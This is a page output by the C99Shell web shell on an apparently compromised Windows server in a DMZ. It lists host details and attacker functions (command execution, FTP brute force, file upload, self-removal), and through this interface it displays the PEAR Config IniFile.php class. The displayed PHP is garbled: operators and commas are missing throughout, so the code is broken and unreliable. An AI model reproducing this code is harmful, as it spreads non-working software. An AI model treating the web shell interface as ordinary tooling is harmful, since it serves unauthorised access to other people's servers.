!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

C:\dmz\php\pear\Config\Container\   drwxrwxrwx
Free 4.1 GB of 39.52 GB (10.37%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     IniFile.php (6.91 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Part of the PEAR Config package
 *
 * PHP Version 4
 *
 * @category Configuration
 * @package  Config
 * @author   Bertrand Mansion <bmansion@mamasam.com>
 * @license  http://www.php.net/license PHP License
 * @link     http://pear.php.net/package/Config
 */

/**
 * Config parser for PHP .ini files
 * Faster because it uses parse_ini_file() but get rid of comments,
 * quotes, types and converts On, Off, True, False, Yes, No to 0 and 1.
 *
 * Empty lines and comments are not preserved.
 *
 * @category Configuration
 * @package  Config
 * @author   Bertrand Mansion <bmansion@mamasam.com>
 * @license  http://www.php.net/license PHP License
 * @link     http://pear.php.net/package/Config
 */
class Config_Container_IniFile
{

    
/**
     * This class options
     * Not used at the moment
     *
     * @var array
    */
    
var $options = array();

    
/**
     * Constructor
     *
     * @param string $options (optional)Options to be used by renderer
     *
     * @access public
     */
    
function Config_Container_IniFile($options = array())
    {
        
$this->options $options;
    } 
// end constructor

    /**
     * Parses the data of the given configuration file
     *
     * @param string $datasrc path to the configuration file
     * @param object &$obj    reference to a config object
     *
     * @return mixed Returns a PEAR_ERROR, if error occurs or true if ok
     *
     * @access public
     */
    
function &parseDatasrc($datasrc, &$obj)
    {
        
$return true;
        if (!
file_exists($datasrc)) {
            return 
PEAR::raiseError(
                
"Datasource file does not exist.",
                
nullPEAR_ERROR_RETURN
            
);
        }
        
$currentSection =& $obj->container;
        
$confArray parse_ini_file($datasrctrue);
        if (!
$confArray) {
            return 
PEAR::raiseError(
                
"File '$datasrc' does not contain configuration data.",
                
nullPEAR_ERROR_RETURN
            
);
        }
        foreach (
$confArray as $key => $value) {
            if (
is_array($value)) {
                
$currentSection =& $obj->container->createSection($key);
                foreach (
$value as $directive => $content) {
                    
// try to split the value if comma found
                    
if (!is_array($content) && strpos($content'"') === false) {
                        
$values preg_split('/\s*,\s+/'$content);
                        if (
count($values) > 1) {
                            foreach (
$values as $k => $v) {
                                
$currentSection->createDirective($directive$v);
                            }
                        } else {
                            
$currentSection->createDirective($directive$content);
                        }
                    } else {
                        
$currentSection->createDirective($directive$content);
                    }
                }
            } else {
                
$currentSection->createDirective($key$value);
            }
        }
        return 
$return;
    } 
// end func parseDatasrc

    /**
     * Returns a formatted string of the object
     *
     * @param object &$obj Container object to be output as string
     *
     * @return string
     *
     * @access public
     */
    
function toString(&$obj)
    {
        static 
$childrenCount$commaString;

        if (!isset(
$string)) {
            
$string '';
        }
        switch (
$obj->type) {
        case 
'blank':
            
$string "\n";
            break;
        case 
'comment':
            
$string ';'.$obj->content."\n";
            break;
        case 
'directive':
            
$count $obj->parent->countChildren('directive'$obj->name);
            
$content $obj->content;
            if (!
is_array($content)) {
                
$content $this->contentToString($content);
                if (
$count 1) {
                    
// multiple values for a directive are separated by a comma
                    
if (isset($childrenCount[$obj->name])) {
                        
$childrenCount[$obj->name]++;
                    } else {
                        
$childrenCount[$obj->name] = 0;
                        
$commaString[$obj->name] = $obj->name.'=';
                    }
                    if (
$childrenCount[$obj->name] == $count-1) {
                        
// Clean the static for future calls to toString
                        
$string .= $commaString[$obj->name].$content."\n";
                        unset(
$childrenCount[$obj->name]);
                        unset(
$commaString[$obj->name]);
                    } else {
                        
$commaString[$obj->name] .= $content.', ';
                    }
                } else {
                    
$string $obj->name.'='.$content."\n";
                }
            } else {
                
//array
                
$string '';
                
$n 0;
                foreach (
$content as $contentKey => $contentValue) {
                    if (
is_integer($contentKey) && $contentKey == $n) {
                        
$stringKey '';
                        ++
$n;
                    } else {
                        
$stringKey $contentKey;
                    }
                    
$string .= $obj->name '[' $stringKey ']='
                        
$this->contentToString($contentValue) . "\n";
                }
            }
            break;
        case 
'section':
            if (!
$obj->isRoot()) {
                
$string '['.$obj->name."]\n";
            }
            if (
count($obj->children) > 0) {
                for (
$i 0$i count($obj->children); $i++) {
                    
$string .= $this->toString($obj->getChild($i));
                }
            }
            break;
        default:
            
$string '';
        }
        return 
$string;
    } 
// end func toString



    /**
     * Converts a given content variable to a string that can
     * be used as value in a ini file
     *
     * @param mixed $content Value
     *
     * @return string $content String to be used as ini value
     */
    
function contentToString($content)
    {
        if (
$content === false) {
            
$content '0';
        } else if (
$content === true) {
            
$content '1';
        } else if (
strlen(trim($content)) < strlen($content)
            || 
strpos($content',') !== false
            
|| strpos($content';') !== false
            
|| strpos($content'=') !== false
            
|| strpos($content'"') !== false
            
|| strpos($content'%') !== false
            
|| strpos($content'~') !== false
            
|| strpos($content'!') !== false
            
|| strpos($content'|') !== false
            
|| strpos($content'&') !== false
            
|| strpos($content'(') !== false
            
|| strpos($content')') !== false
            
|| $content === 'none'
        
) {
            
$content '"'.addslashes($content).'"';          
        }
        return 
$content;
    }

// end class Config_Container_IniFile
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0156 ]--